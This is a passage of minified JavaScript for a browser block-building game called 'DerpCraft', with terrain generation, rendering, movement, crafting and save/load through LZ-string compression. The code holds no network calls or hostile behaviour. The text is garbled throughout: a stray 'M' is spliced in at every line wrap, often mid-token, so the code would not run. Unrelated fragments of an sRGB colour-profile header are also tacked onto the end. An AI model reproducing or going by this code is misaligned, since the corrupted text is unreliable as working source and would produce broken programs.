JMP:{STR:.4,AMP:.001},BLOCKS_MAP:[[2,4,12,7,9,11,13,14,15,16],[1,20,3,6,10,8,5,17,18,19]],CRAFTABLES:{2:[1,1],4:[20,6],7:[6,.25],9:[10,8],11:[8,.5],12:[3,4],13:[5,2],14:[17,9],15:[18,9],16:[19,9]},LOCAL_STORAGE:["_mcm","_mcs","_mct","_mci"]}},function(t,e,n){"use strict";function r(t){for(var e=0;e<t.length;e++){var n=e%256,r=0|e/256%64,o=0|e/256/64;if("-"!==t[e]){var i=f.indexOf(t[e]);-1!==i&&(window.game.map[o][r][n]=i)}}}function o(t,e){for(var n="",r=0;r<e;r++)n+=t;return n}function i(t){for(var e,n="",r="",i=0M
;i<t.length;i++)e=/\d/.test(t[i]),e?r+=t[i]:r?(n+=o(t[i],parseInt(r,10)),r=""):n+=t[i];return n}var a=n(0),c=n(2),u=n(3),s=(function(t){t&&t.__esModule}(u),n(6)),f=Array(58).fill(1).map(function(t,e){return String.fromCharCode(65+e)});t.exports={main:function(){var t=window,e=t.game,n=document.getElementById("_mct").textContent||"",o=(0,a.tryCatch)(function(){return JSON.parse(document.getElementById("_mci").textContent||"")});o&&(e.hotbar.items=o.map(function(t){return null===t?1/0:t})),n&&(0,c.setTime)(n);var u,fM
=document.getElementById("_mcm").textContent.split(",");1<f.length&&(u=Uint8Array.from(f)),!u||(r(i(s.decompressFromUint8Array(u))),console.log("Map Loaded"))},unMinify:i}},function(t,e,n){"use strict";var r,o=function(){function t(t,e){if(!i[t]){i[t]={};for(var n=0;n<t.length;n++)i[t][t.charAt(n)]=n}return i[t][e]}var e=Math.pow,n=String.fromCharCode,r="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",o="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+-$",i={},a={compressToBase64:fM
unction(t){if(null==t)return"";var e=a._compress(t,6,function(t){return r.charAt(t)});switch(e.length%4){default:case 0:return e;case 1:return e+"===";case 2:return e+"==";case 3:return e+"="}},decompressFromBase64:function(e){return null==e?"":""==e?null:a._decompress(e.length,32,function(n){return t(r,e.charAt(n))})},compressToUTF16:function(t){return null==t?"":a._compress(t,15,function(t){return n(t+32)})+" "},decompressFromUTF16:function(t){return null==t?"":""==t?null:a._decompress(t.length,16384,function(e){M
return t.charCodeAt(e)-32})},compressToUint8Array:function(t){for(var e,n=a.compress(t),r=new Uint8Array(2*n.length),o=0,i=n.length;o<i;o++)e=n.charCodeAt(o),r[2*o]=e>>>8,r[2*o+1]=e%256;return r},decompressFromUint8Array:function(t){if(null===t||void 0===t)return a.decompress(t);for(var e=Array(t.length/2),r=0,o=e.length;r<o;r++)e[r]=256*t[2*r]+t[2*r+1];var i=[];return e.forEach(function(t){i.push(n(t))}),a.decompress(i.join(""))},compressToEncodedURIComponent:function(t){return null==t?"":a._compress(t,6,function(M
t){return o.charAt(t)})},decompressFromEncodedURIComponent:function(e){return null==e?"":""==e?null:(e=e.replace(/ /g,"+"),a._decompress(e.length,32,function(n){return t(o,e.charAt(n))}))},compress:function(t){return a._compress(t,16,function(t){return n(t)})},_compress:function(t,n,r){if(null==t)return"";var o,i,a,c={},u={},s="",f="",l="",d=2,m=3,v=2,p=[],h=0,y=0;for(a=0;a<t.length;a+=1)if(s=t.charAt(a),Object.prototype.hasOwnProperty.call(c,s)||(c[s]=m++,u[s]=!0),f=l+s,Object.prototype.hasOwnProperty.call(c,f))l=M
f;else{if(Object.prototype.hasOwnProperty.call(u,l)){if(256>l.charCodeAt(0)){for(o=0;o<v;o++)h<<=1,y==n-1?(y=0,p.push(r(h)),h=0):y++;for(i=l.charCodeAt(0),o=0;8>o;o++)h=h<<1|1&i,y==n-1?(y=0,p.push(r(h)),h=0):y++,i>>=1}else{for(i=1,o=0;o<v;o++)h=h<<1|i,y==n-1?(y=0,p.push(r(h)),h=0):y++,i=0;for(i=l.charCodeAt(0),o=0;16>o;o++)h=h<<1|1&i,y==n-1?(y=0,p.push(r(h)),h=0):y++,i>>=1}d--,0==d&&(d=e(2,v),v++),delete u[l]}else for(i=c[l],o=0;o<v;o++)h=h<<1|1&i,y==n-1?(y=0,p.push(r(h)),h=0):y++,i>>=1;d--,0==d&&(d=e(2,v),v++),c[fM
]=m++,l=s+""}if(""!=l){if(Object.prototype.hasOwnProperty.call(u,l)){if(256>l.charCodeAt(0)){for(o=0;o<v;o++)h<<=1,y==n-1?(y=0,p.push(r(h)),h=0):y++;for(i=l.charCodeAt(0),o=0;8>o;o++)h=h<<1|1&i,y==n-1?(y=0,p.push(r(h)),h=0):y++,i>>=1}else{for(i=1,o=0;o<v;o++)h=h<<1|i,y==n-1?(y=0,p.push(r(h)),h=0):y++,i=0;for(i=l.charCodeAt(0),o=0;16>o;o++)h=h<<1|1&i,y==n-1?(y=0,p.push(r(h)),h=0):y++,i>>=1}d--,0==d&&(d=e(2,v),v++),delete u[l]}else for(i=c[l],o=0;o<v;o++)h=h<<1|1&i,y==n-1?(y=0,p.push(r(h)),h=0):y++,i>>=1;0==--d&&(d=eM
(2,v),v++)}for(i=2,o=0;o<v;o++)h=h<<1|1&i,y==n-1?(y=0,p.push(r(h)),h=0):y++,i>>=1;for(;;){if(h<<=1,y==n-1){p.push(r(h));break}y++}return p.join("")},decompress:function(t){return null==t?"":""==t?null:a._decompress(t.length,32768,function(e){return t.charCodeAt(e)})},_decompress:function(t,r,o){var i,a,c,u,s,f,l,d=[],m=4,v=4,p=3,h="",y=[],w={val:o(0),position:r,index:1};for(i=0;3>i;i+=1)d[i]=i;for(c=0,s=4,f=1;f!=s;)u=w.val&w.position,w.position>>=1,0==w.position&&(w.position=r,w.val=o(w.index++)),c|=(0<u?1:0)*f,f<<M
=1;switch(c){case 0:for(c=0,s=256,f=1;f!=s;)u=w.val&w.position,w.position>>=1,0==w.position&&(w.position=r,w.val=o(w.index++)),c|=(0<u?1:0)*f,f<<=1;l=n(c);break;case 1:for(c=0,s=65536,f=1;f!=s;)u=w.val&w.position,w.position>>=1,0==w.position&&(w.position=r,w.val=o(w.index++)),c|=(0<u?1:0)*f,f<<=1;l=n(c);break;case 2:return""}for(d[3]=l,a=l,y.push(l);;){if(w.index>t)return"";for(c=0,s=e(2,p),f=1;f!=s;)u=w.val&w.position,w.position>>=1,0==w.position&&(w.position=r,w.val=o(w.index++)),c|=(0<u?1:0)*f,f<<=1;switch(l=c){M
case 0:for(c=0,s=256,f=1;f!=s;)u=w.val&w.position,w.position>>=1,0==w.position&&(w.position=r,w.val=o(w.index++)),c|=(0<u?1:0)*f,f<<=1;d[v++]=n(c),l=v-1,m--;break;case 1:for(c=0,s=65536,f=1;f!=s;)u=w.val&w.position,w.position>>=1,0==w.position&&(w.position=r,w.val=o(w.index++)),c|=(0<u?1:0)*f,f<<=1;d[v++]=n(c),l=v-1,m--;break;case 2:return y.join("")}if(0==m&&(m=e(2,p),p++),d[l])h=d[l];else{if(l!==v)return null;h=a+a.charAt(0)}y.push(h),d[v++]=a+h.charAt(0),m--,a=h,0==m&&(m=e(2,p),p++)}}};return a}();void 0!==(r=fuM
nction(){return o}.call(e,n,e,t))&&(t.exports=r)},function(t,e,n){"use strict";var r=n(8),o=n(14),i=n(17);t.exports={mapDataType:r,map:o,textures:i}},function(t){"use strict";t.exports=function(){var t=window.game.CONST.MAP_SIZE;return Array(t).fill(0).map(function(){return Array(64).fill(0).map(function(){return Array(t).fill(0)})})}},function(t,e,n){"use strict";var r=Math.PI,o=Math.cos,i=Math.sin,a=function(){function t(t,e){var n,r=[],o=!0,i=!1;try{for(var a,c=t[Symbol.iterator]();!(o=(a=c.next()).done)&&(r.pusM
h(a.value),!e||r.length!==e);o=!0);}catch(t){i=!0,n=t}finally{try{!o&&c.return&&c.return()}finally{if(i)throw n}}return r}return function(e,n){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,n);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),c=n(4),u=n(10),s=n(0),f=s.getBlock,l={forward:0,backward:0,strafeLeft:0,strafeRight:0,jump:0,jumping:0,shift:0};t.exports={applyGravity:function(){var t=window.game.CONST.JMP,e=t.AMP,n=t.STR,r=window.game.player,o=r.x,i=r.M
y,a=r.z;i+=2;var c=f(o,i,a);if(l.jump&&0<c&&(r.velocity=-n,l.jumping=1),l.jumping){r.velocity+=r.velocity+n+e,0<r.velocity&&(r.velocity=0,l.jumping=0);var u=f(o,r.y+r.velocity,a);return void(0==u?r.y+=r.velocity:9==u&&(r.y+=r.velocity/8))}if(0==c||9==c){3>r.velocity&&(r.velocity+=.2);var s=r.y+.1*r.velocity/(0==c?1:4),d=f(o,Math.ceil(s)+1,a);return void(r.y=0==d||9==d?s:0|s)}r.velocity=0},calculateMovement:function(){var t=window.game.player,e=f(t.x,t.y+1,t.z);if(l.forward||l.backward||l.strafeLeft||l.strafeRight){M
var n=9==e?16:8,a=t.x,c=t.y+1.8,u=t.z,s=i(t.yaw)/n,d=o(t.yaw)/n;l.forward?(a+=s,u+=d):l.backward&&(a-=s,u-=d);var m=t.yaw-r/2,v=i(m)/n,p=o(m)/n;l.strafeLeft?(a+=v,u+=p):l.strafeRight&&(a-=v,u-=p);var h=f(a,c,u);if(0==h||9==h)t.x=a,t.z=u;else{var y=f(a,c,t.z),w=f(t.x,c,u);0==y||9==y?t.x=a:(0==w||9==w)&&(t.z=u)}}},init:function(){function t(t){var e=document.querySelector("#game");if(document.pointerLockElement===e||document.mozPointerLockElement===e)for(var n,r=window.game,d=r.player,m=r.hotbar,v=m.items,p=d.x,h=d.yM
,y=d.z,w=[],g=0;6e3>g;g++){n=o(d.pitch),p+=i(d.yaw)*n/1e3,h-=i(d.pitch)/1e3,y+=o(d.yaw)*n/1e3;var x=f(p,h,y),b=0<x;if((9==x||10==x)&&(b=l.shift),b){if(0===t.button)s[0|p][0|h][0|y]=0,(0,u.inventoryAdd)(x);else if(2===t.button){var A=w,M=a(A,3),_=M[0],S=M[1],E=M[2],k=c.BLOCKS_MAP[m.side][m.selected],C=v[k];if(1>C)return;s[0|_][0|S][0|E]=k||1,(0,u.inventoryRemove)(k)}return}w=[p,h,y]}}var e=window.game,n=e.player,s=e.map,d=document.addEventListener,m=document.getElementById("game"),v=function(t){var e=t.movementX||t.M
mozMovementX||t.webkitMovementX||0,o=t.movementY||t.mozMovementY||t.webkitMovementY||0;n.yaw=(n.yaw+e/500)%7.855,n.pitch-=o/1e3;var i=r/2,a=-i;n.pitch<a&&(n.pitch=a),n.pitch>i&&(n.pitch=i)};m.addEventListener("click",function(){m.requestPointerLock=m.requestPointerLock||m.mozRequestPointerLock||m.webkitRequestPointerLock,m.requestPointerLock()}),d("keydown",function(t){t.preventDefault();var e=window,n=e.game,r=t.keyCode;16==r?l.shift=1:65==r?l.strafeLeft=1:68==r?l.strafeRight=1:87==r?l.forward=1:83==r?l.backward=1M
:32==r?l.jump=1:48==r?n.hotbar.selected=9:49<=r&&57>=r?n.hotbar.selected=r-49:69==r&&(n.hotbar.side=n.hotbar.side?0:1)}),d("keyup",function(t){var e=t.keyCode;16==e?l.shift=0:65==e?l.strafeLeft=0:68==e?l.strafeRight=0:87==e?l.forward=0:83==e?l.backward=0:32==e&&(l.jump=0)}),d("click",t),d("auxclick",t),["pointer","mozpointer","webkitpointer"].forEach(function(t){return document.addEventListener(t+"lockchange",function(){var t=document,e=t.pointerLockElement,n=t.mozPointerLockElement,r=t.webkitPointerLockElement;docM
ument[e==m||n==m||r==m?"addEventListener":"removeEventListener"]("mousemove",v)})})}}},function(t,e,n){"use strict";function r(t,e,n){for(var r=window.game,o=r.pixels,i=r.texmap,a=r.width,c=r.hotbar,u=0;16>u;u++)for(var s=0;16>s;s++){var f=i[s+16*(u+16)+256*t*3],l=c.items[t],d=1.328125,m=(255&f>>16)*d,v=(255&f>>8)*d,p=(255&f)*d,h=4*(e+s+(n+u)*a);if(!l){var y=(m+v+p)/6;m=y+m/3,v=y+v/3,p=y+p/3}o.data[h+0]=m,o.data[h+1]=v,o.data[h+2]=p}}function o(t,e,n){var r=window.game.ctx;if(void 0!=t&&t!==1/0){var o=999<t?(0|t/1eM
3)+"k":t;r.font="100 8px OCR A Std,Impact,monospace",r.strokeStyle="black",r.textAlign="right",r.lineWidth=2,r.fillStyle="#fff",r.strokeText(o,e,n),r.fillText(o,e,n)}}var i=function(){function t(t,e){var n,r=[],o=!0,i=!1;try{for(var a,c=t[Symbol.iterator]();!(o=(a=c.next()).done)&&(r.push(a.value),!e||r.length!==e);o=!0);}catch(t){i=!0,n=t}finally{try{!o&&c.return&&c.return()}finally{if(i)throw n}}return r}return function(e,n){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,n);throw new TypeM
Error("Invalid attempt to destructure non-iterable instance")}}(),a=n(4),c=a.BLOCKS_MAP,u=a.CRAFTABLES,s=function(){return(window.game.width-180)/2},f=function(){return window.game.height-16-8},l=function(t){var e=0;return Object.entries(u).some(function(n){var r=i(n,2),o=r[0],a=r[1];return i(a||[],1)[0]===t&&(e=o,!0)}),e};t.exports={drawIcons:function(){var t=window.game.hotbar;c[t.side].forEach(function(t,e){r(t,s()+18*e,f())})},drawHotbarBorder:function(){var t=window.game,e=t.ctx,n=t.hotbar,r=s()+18*n.selected;M
e.lineWidth=1,e.strokeStyle="#fff",e.strokeRect(r+1,f()+1,14,14),e.strokeStyle="#000",e.strokeRect(r,f(),16,16)},drawIconNumers:function(){for(var t=window.game.hotbar,e=t.side,n=0;10>n;n++){var r=s()+18*n,i=c[e][n];o(t.items[i],r+16,f()+16)}},inventoryAdd:function(t){var e=window.game.hotbar,n=e.items;n[t]++;var r=u[t];if(r){var o=i(r,2),a=o[0],c=o[1];return void(n[a]=0|n[t]/c)}var s=l(t);if(s){var f=i(u[s],2),d=f[1];n[s]+=d}},inventoryRemove:function(t){var e=window.game.hotbar,n=e.items;n[t]--;var r=u[t];if(r){vM
ar o=i(r,2),a=o[0],c=o[1];return void(n[a]=0|n[t]/c)}var s=l(t);if(s){var f=i(u[s],2),d=f[1];n[s]-=d}}}},function(t,e,n){"use strict";function r(t){return t&&t.__esModule?t:{default:t}}var o=Math.cos,i=Math.sin,a=n(2),c=r(a),u=n(1),s=n(21),f=r(s),l=n(0),d=0,m=0;(0,u.intervalSecond)(function(){m=(m+1)%3}),t.exports={render:function(){var t=window.game,e=t.texmap,n=t.width,r=t.height,a=t.player,u=t.CONST,s=(t.fps,t.scanlinesEnabled),v=t.renderDistance,p=o(a.pitch),h=i(a.pitch),y=o(a.yaw),w=i(a.yaw),g=a.x-(0|a.x),x=a.M
y-(0|a.y),b=a.z-(0|a.z);d=d?0:1;for(var A=0;A<n;A++)for(var M=(0,l.calcArcFromLength)(A,n),_=(A-n/2)/r,S=s?A%2+d-1:0;S<r;S+=s?2:1){for(var E,k=(0,l.calcArcFromLength)(S,r),C=v+(v*M+v*k)/2,I=(S-r/2)/r,T=p+I*h,O=I*p-h,L=_*y+T*w,P=T*y-_*w,j=0,B=255,R=0;3>R;R++){E=L,1==R&&(E=O),2==R&&(E=P);var F=1/Math.abs(E),z=L*F,N=O*F,D=P*F,G=g;1==R&&(G=x),2==R&&(G=b),0<E&&(G=1-G);var q=a.x+z*G,H=a.y+N*G,U=a.z+D*G;0>E&&(R||q--,1==R&&H--,2==R&&U--);for(var J,W=F*G,X=u.MAP_SIZE-1;W<C;){if(J=(0,l.getBlock)(q&X,63&H,U&X),(U>X||63<H||q>XM
||0>U||0>H||0>q)&&(J=0),0<J){var Z=15&16*(q+U),K=16+(15&16*H);1==R&&(Z=15&16*q,K=15&16*U,0>N&&(K+=32));var V=e[Z+16*K+256*J*3];if(0<V){if(j=V,1==R&&(9==J||10==J)){var Y=Z+K*(m+1)*16+256*J*3;9==J&&7680>Y?j=e[Y]:10==J&&8680>Y&&(j=e[Y])}var $=c.default.timeModifier(),Q=1-W/v*$;B=(255-(R+2)%3*50)*Q,C=W}}q+=z,H+=N,U+=D,W+=F}}(0,f.default)(A,S,B,j)}}}},function(t,e,n){"use strict";function r(t){return t&&t.__esModule?t:{default:t}}function o(){window.game={CONST:h},window.game={CONST:h,width:w,height:g,getTime:s.getTime,M
setTime:s.setTime,player:{x:x,y:0,z:x,velocity:0,pitch:-.1,yaw:0},hotbar:{selected:0,side:0,items:Array(21).fill(0)},map:v.map(),texmap:v.textures(),ctx:document.getElementById("game").getContext("2d"),fps:0,scanlinesEnabled:!0,renderDistance:32};var t=window,e=t.game,n=e.width,r=e.height,o=e.ctx,i=document.getElementById("toolbar"),c=(0,l.getCanvas)();c.width=n,c.height=r;var d=function(){var t=1.3334*window.innerHeight,e=window.innerHeight;.75*window.innerWidth<window.innerHeight&&(t=window.innerWidth,e=.75*windoM
w.innerWidth),c.setAttribute("style","width: "+t+"px; height: "+e+"px")};e.pixels=o.createImageData(n,r),e.pixels.data.fill(255),window.addEventListener("resize",d),d(),m.init(),p.clock.init(),setTimeout(u.default.main,500),(0,f.initIntervalSecond)(),(0,f.intervalSecond)(function(){window.game}),i.addEventListener("click",function(t){switch(t.target.id){case"lock":i.classList.toggle("extended");break;case"save":var n=document.getElementById("saving");n.hidden=!1,setTimeout(function(){(0,a.default)(),n.hidden=!0,docM
ument.getElementById("saveGame").click()},100);break;case"load":window.location.reload();break;case"plus":e.renderDistance+=5;break;case"minus":e.renderDistance-=5;break;case"interlace":setTimeout(function(){return e.scanlinesEnabled=!e.scanlinesEnabled},1);break;case"newseeed":confirm("Generate a new seed? This will erase your current save.")&&(h.LOCAL_STORAGE.forEach(function(t){return localStorage.removeItem(t)}),document.getElementById("_mcs").textContent=0|Math.random()*Number.MAX_SAFE_INTEGER,window.location.M
reload())}5>e.renderDistance?e.renderDistance=5:255<e.renderDistance&&(e.renderDistance=255)})}var i=n(13),a=r(i),c=n(5),u=r(c),s=n(2),f=n(1),l=n(0),d=n(3),m=(r(d),n(9)),v=n(7),p=n(18),h=n(4),y=h.RES,w=y.WIDTH,g=y.HEIGHT,x=0|h.MAP_SIZE/2;document.title="DerpCraft",document.addEventListener("click",function(){event.target.matches("#startGame")&&(document.getElementById("startGame").style.display="none",document.getElementById("gameContainer").style.display=null,window.scroll({top:0,left:0,behavior:"smooth"}),setTimeM
out(o,100))})},function(t,e,n){"use strict";function r(t){return t&&t.__esModule?t:{default:t}}function o(){for(var t="",e=m(v()),n=m(window.game.map),r=0;r<n.length;r++){var o=e[r],i=n[r];t+=o===i?"-":i}return t}function i(t){for(var e="",n=t[0],r=1,o=1;o<t.length;o++)t[o]===n?r++:(e+=1==r?n:r+n,n=t[o],r=1);return e+=r+n}Object.defineProperty(e,"__esModule",{value:!0}),e.stringify=void 0;var a=n(5),c=n(2),u=n(7),s=r(u),f=n(3),l=(r(f),n(6)),d=Array(58).fill(1).map(function(t,e){return String.fromCharCode(65+e)}),m=M
e.stringify=function(t){return t.map(function(t){return t.map(function(t){return t.map(function(t){return d[t]||d[0]}).join("")}).join("")}).join("")},v=function(){return window.game._map=window.game._map||s.default.map()};e.default=function(){var t=window,e=t.game;document.getElementById("_mct").textContent=(0,c.getTime)(),document.getElementById("_mci").textContent=JSON.stringify(e.hotbar.items);var n=o();console.log("saving mapStr length",n.length);var r=i(n),u=l.compressToUint8Array(r);console.log("minified",r.M
length,r),console.log("compressed",u.length,u),document.getElementById("_mcm").textContent=u;var s=l.decompressFromUint8Array(u);(0,a.unMinify)(s)===n?console.log("success"):console.log("Could not save map internally");var f={mci:document.getElementById("_mci").textContent,mcs:document.getElementById("_mcs").textContent,mct:document.getElementById("_mct").textContent,mcm:document.getElementById("_mcm").textContent};console.log("JSON SAVED STRING"),console.log(JSON.stringify(f));var d=new Date,m=d.getHours()+":"+d.gM
etMinutes();$("#showSavedJSON").css("display",""),$("#savedJSONTitle").text("Saved World at "+m),$("#savedJSONString").text(JSON.stringify(f))}},function(t,e,n){"use strict";function r(t,e,n,r){for(var o=e*n%6+6,i=0;i<o;i++)t[e][n-i][r]=7;for(var a=o;0<a;a-=3)for(var u=-1;2>u;u++)for(var s=-1;2>s;s++)c(s+e,n-a,u+r,8,t,7)}var o=Math.floor,i=n(3),a=(function(t){t&&t.__esModule}(i),n(0)),c=a.setBlock,u=n(8),s=n(15);t.exports=function(){var t=parseInt(document.getElementById("_mcs").textContent)||"0";console.log("Seed"M
,t);for(var e=s(t),n={1:1,2:1,4:1},i=window.game.CONST,a=i.SEA_LEVEL,c=i.MAP_SCALE,f=i.MAP_SIZE,l=u(),d=function(){return Array(f)},m=document.getElementById("loading"),v=d(),p=d(),h=0;h<f;h++){v[h]=d(),p[h]=d();for(var y,w=0;w<f;w++){y=e(h/c,w/c,0),y*=10,y+=32,y=o(y),v[h][w]=y;var g=e(h/2,w/2,0);g*=3,g=o(g),p[h][w]=g,window.treeMap=p}}console.log("ran");for(var x=0;x<f;x++)for(var b,A=0;A<f;A++){b=v[x][A],l[x][b][A]=b<=a?1:12;for(var M=b-1;M>a;M--)l[x][M][A]=9;for(var _=b+1;64>_;_++)l[x][_][A]=4;-2>=p[x][A]&&b<a&&M
r(l,x,b-1,A),34==b&&(l[x][b][A]=13);for(var S=a-5;64>S;S++){if(48<S){var E=e(x/c*4,S/c*2,A/c*4);if(.55<E&&.6>E){var k=l[x][S][A];n[k]&&(l[x][S][A]=10)}}var C=e(x/c*2,S/c*4,A/c*2);if(.35<C&&.8>C){var I=l[x][S][A];n[I]&&(l[x][S][A]=0)}var T=e(x/c*8,S/c*8,A/c*8);if(.2<T&&.8>T){var O=l[x][S][A];n[O]&&(50>S&&.2<T&&.21>T?l[x][S][A]=14:42<S&&50>S&&.55<T&&.6>T?l[x][S][A]=15:48<S&&.7<T&&(l[x][S][A]=16))}if(61<S)if(63==S)l[x][S][A]=11;else{var L=e(x/c*64,S/c*64,A/c*64);.1<L&&(l[x][S][A]=11)}}}return m.hidden=!0,l}},function(M
t,e,n){"use strict";function r(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function o(t){if(Array.isArray(t)){for(var e=0,n=Array(t.length);e<t.length;e++)n[e]=t[e];return n}return Array.from(t)}var i=function(){function t(t,e){for(var n,r=0;r<e.length;r++)n=e[r],n.enumerable=n.enumerable||!1,n.configurable=!0,"value"in n&&(n.writable=!0),Object.defineProperty(t,n.key,n)}return function(e,n,r){return n&&t(e.prototype,n),r&&t(e,r),e}}(),a=n(16),c=function(t){return t&&t.__esModM
ule?t:{default:t}}(a);t.exports=function(){for(var t,e=0<arguments.length&&void 0!==arguments[0]?arguments[0]:1,n=1<arguments.length&&void 0!==arguments[1]?arguments[1]:Array(512),a=-1,u=Math.floor,s=[].concat(o(n)),f=function(t){return t*t*t*(t*(6*t-15)+10)},l=function(t,e,n){return(1-n)*t+n*e},d=[[1,1],[a,1],[1,a],[a,a],[1,,1],[a,,1],[1,,a],[a,,a],[,1,1],[,a,1],[,1,a],[,a,a]].map(function(t){return new(Function.prototype.bind.apply(function(){function t(){var e=0<arguments.length&&void 0!==arguments[0]?arguments[M
0]:0,n=1<arguments.length&&void 0!==arguments[1]?arguments[1]:0,o=2<arguments.length&&void 0!==arguments[2]?arguments[2]:0;r(this,t),this.x=e,this.y=n,this.z=o}return i(t,[{key:"d",value:function(t,e,n){return this.x*t+this.y*e+this.z*n}}]),t}(),[null].concat(o(t))))}),m=0;256>m;m++)t=(0,c.default)(e+m,256)^(1&m?255&e:255&e>>8),n[m]=n[m+256]=t,s[m]=s[m+256]=d[t%12];return function(t,e,r){var o=u(t),i=u(e),a=u(r);t-=o,e-=i,r-=a,o&=255,i&=255,a&=255;var c=f(t),d=f(e),m=f(r),v=i+n[a],p=i+n[a+1],h=o+n[v],y=o+n[p],w=o+nM
[v+1],g=o+n[p+1];return l(l(l(s[h].d(t,e,r),s[h+1].d(t-1,e,r),c),l(s[y].d(t,e,r-1),s[y+1].d(t-1,e,r-1),c),m),l(l(s[w].d(t,e-1,r),s[w+1].d(t-1,e-1,r),c),l(s[g].d(t,e-1,r-1),s[g+1].d(t-1,e-1,r-1),c),m),d)}}},function(t,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0}),e.default=function(t,e){return(""+(2147483647&Math.imul(48271,t))/2147483648).split("").slice(-10).join("")%e}},function(t){"use strict";t.exports=function(){for(var t=Array(12288),e=1;21>e;e++)for(var n=255-(0|96*Math.random()),r=0;48>r;M
r++)!function(r){for(var o=0;16>o;o++)!function(o){var i=9858122,a=n;if(32<=r&&(a/=2),(4!=e&&6!=e||0==(0|3*Math.random()))&&(n=255-(0|96*Math.random())),1==e&&(r<18+(3&o*o*3+81*o>>2)?i=6990400:1==e&&r<19+(3&o*o*3+81*o>>2)&&(n=2*n/3)),3==e&&(i=14606046,0<o&&15>o&&(0<r&&15>r||16<r&&31>r||32<r&&47>r)&&(a=0)),4==e&&(i=8355711),5==e&&(i=11876885,(0==(o+4*(r>>2))%8||0==r%4)&&(i=12365733)),6==e&&(i=10519115,0==(0|16*Math.random())&&(n=255-(0|96*Math.random())),0==r%4&&(a=132)),7==e)if(i=6771249,0<o&&15>o&&(0<r&&15>r||32<rM
&&47>r)){i=12359778;var c=o-7,u=(15&r)-7;0>c&&(c=1-c),0>u&&(u=1-u),u>c&&(c=u),n=196-(0|32*Math.random())+c%3*32}else 0==(0|2*Math.random())&&(n=n*(140-100*(1&o))/100);8==e&&(i=5298487,0==(0|2*Math.random())&&(i=0,a=255)),9==e&&(i=4219135,a=192+(0|32*Math.random())),10==e&&(i=15810114,a=192+(0|32*Math.random()),0==(0|2*Math.random())&&(i=15834690)),11==e&&(i=4392035,0==(0|2*Math.random())&&(i=2294851)),12==e&&(i=15196080,1>16*Math.random()&&(a=164+4*o)),13==e&&(i=15200224,1>16*Math.random()&&(i=16232346));var s=funcM
tion(t){2<o&&13>o&&(2<r&&13>r||18<r&&29>r)&&1>4*Math.random()&&(i=t)};14==e&&(i=8355711,s(15810114)),15==e&&(i=8355711,s(15778600)),16==e&&(i=8355711,s(4517357)),17==e&&(i=13704738,1>16*Math.random()&&(a=164+4*o),0<=o&&14>o&&(0<r&&15>r||16<r&&31>r||32<r&&47>r)&&(32>r&&(i=15810114),n=255)),18==e&&(i=13673224,1>16*Math.random()&&(a=164+4*o),0<=o&&14>o&&(0<r&&15>r||16<r&&31>r||32<r&&47>r)&&(32>r&&(i=15778600),n=255)),19==e&&(i=3386283,1>16*Math.random()&&(a=164+4*o),0<=o&&14>o&&(0<r&&15>r||16<r&&31>r||32<r&&47>r)&&(32M
>r&&(i=4517357),n=255)),20==e&&(i=8355711,1<=(0|4*Math.random())&&(Math.random(),i=5277975));var f=(255&i>>16)*a/255<<16|(255&i>>8)*a/255<<8|(255&i)*a/255;t[o+16*r+256*e*3]=f}(o)}(r);return t}},function(t,e,n){"use strict";var r=n(19),o=n(11);t.exports={clock:r,render:o}},function(t,e,n){"use strict";function r(t){return t&&t.__esModule?t:{default:t}}function o(){var t=window.game,e=t.ctx,n=t.pixels;window._tick+=1,l.applyGravity(),l.calculateMovement(),m(),u.default.drawIcons(),e.putImageData(n,0,0),u.default.drawM
HotbarBorder(),u.default.drawIconNumers(),(0,f.default)()}function i(t){var e=window.game.CONST.MAX_FPS;return t-v<1e3/e?window.requestAnimationFrame(i):(o(),v=t,void window.requestAnimationFrame(i))}var a=n(1),c=n(10),u=r(c),s=n(20),f=r(s),l=n(9),d=n(11),m=d.render,v=0;t.exports={init:function(){window._tick=0;var t=document.querySelector(".fps");(0,a.intervalSecond)(function(){var e=window._tick;window.game.fps=e,t&&(t.innerText=e.toString()+" fps"),window._tick=0}),window.requestAnimationFrame?window.requestAnimM
ationFrame(i):setInterval(o,10)}}},function(t,e,n){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var r,o,i,a=n(1);e.default=function(){var t=window.game,e=t.ctx,n=t.width,a=t.height;e.lineWidth=1,e.strokeStyle="#fff",e.strokeStyle="rgb("+r+","+o+","+i+")",e.strokeRect(n/2-1,a/2-1,2,2)},(0,a.intervalSecond)(function(){var t=window.game,e=t.pixels,n=t.width,a=t.height,c=4*(n/2+(a/2-5)*n);r=255&e.data[c+0]+128,o=255&e.data[c+1]+128,i=255&e.data[c+2]+128})},function(t,e,n){"use strict";Object.definePropM
erty(e,"__esModule",{value:!0});var r=function(){function t(t,e){var n,r=[],o=!0,i=!1;try{for(var a,c=t[Symbol.iterator]();!(o=(a=c.next()).done)&&(r.push(a.value),!e||r.length!==e);o=!0);}catch(t){i=!0,n=t}finally{try{!o&&c.return&&c.return()}finally{if(i)throw n}}return r}return function(e,n){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,n);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),o=n(2),i=function(t){return t&&t.__esModule?t:{default:t}}(o),a=n(0);MU
e.default=function(t,e,n,o){var c=window.game,u=c.pixels,s=c.width,f=i.default.color,l=(0,a.isInsideCheck)(),d=i.default.timeModifier(),m=f(),v=r(m,3),p=v[0],h=v[1],y=v[2],w=255*n/48960;l||(w*=1-d/2);var g=(255&o>>16)*w,x=(255&o>>8)*w,b=(255&o)*w,A=4*(t+e*s);u.data[A+0]=g||p,u.data[A+1]=x||h,u.data[A+2]=b||y}}]);
Copyright (c) 1998 Hewlett-Packard Company
IEC http://www.iec.ch
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
.IEC 61966-2.1 Default RGB colour space - sRGB
,Reference Viewing Condition in IEC61966-2.1
,Reference Viewing Condition in IEC61966-2.1
}7W`}7W`}7W`}7W`}7W`}7W`}7W`
Copyright (c) 1998 Hewlett-Packard Company
IEC http://www.iec.ch
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
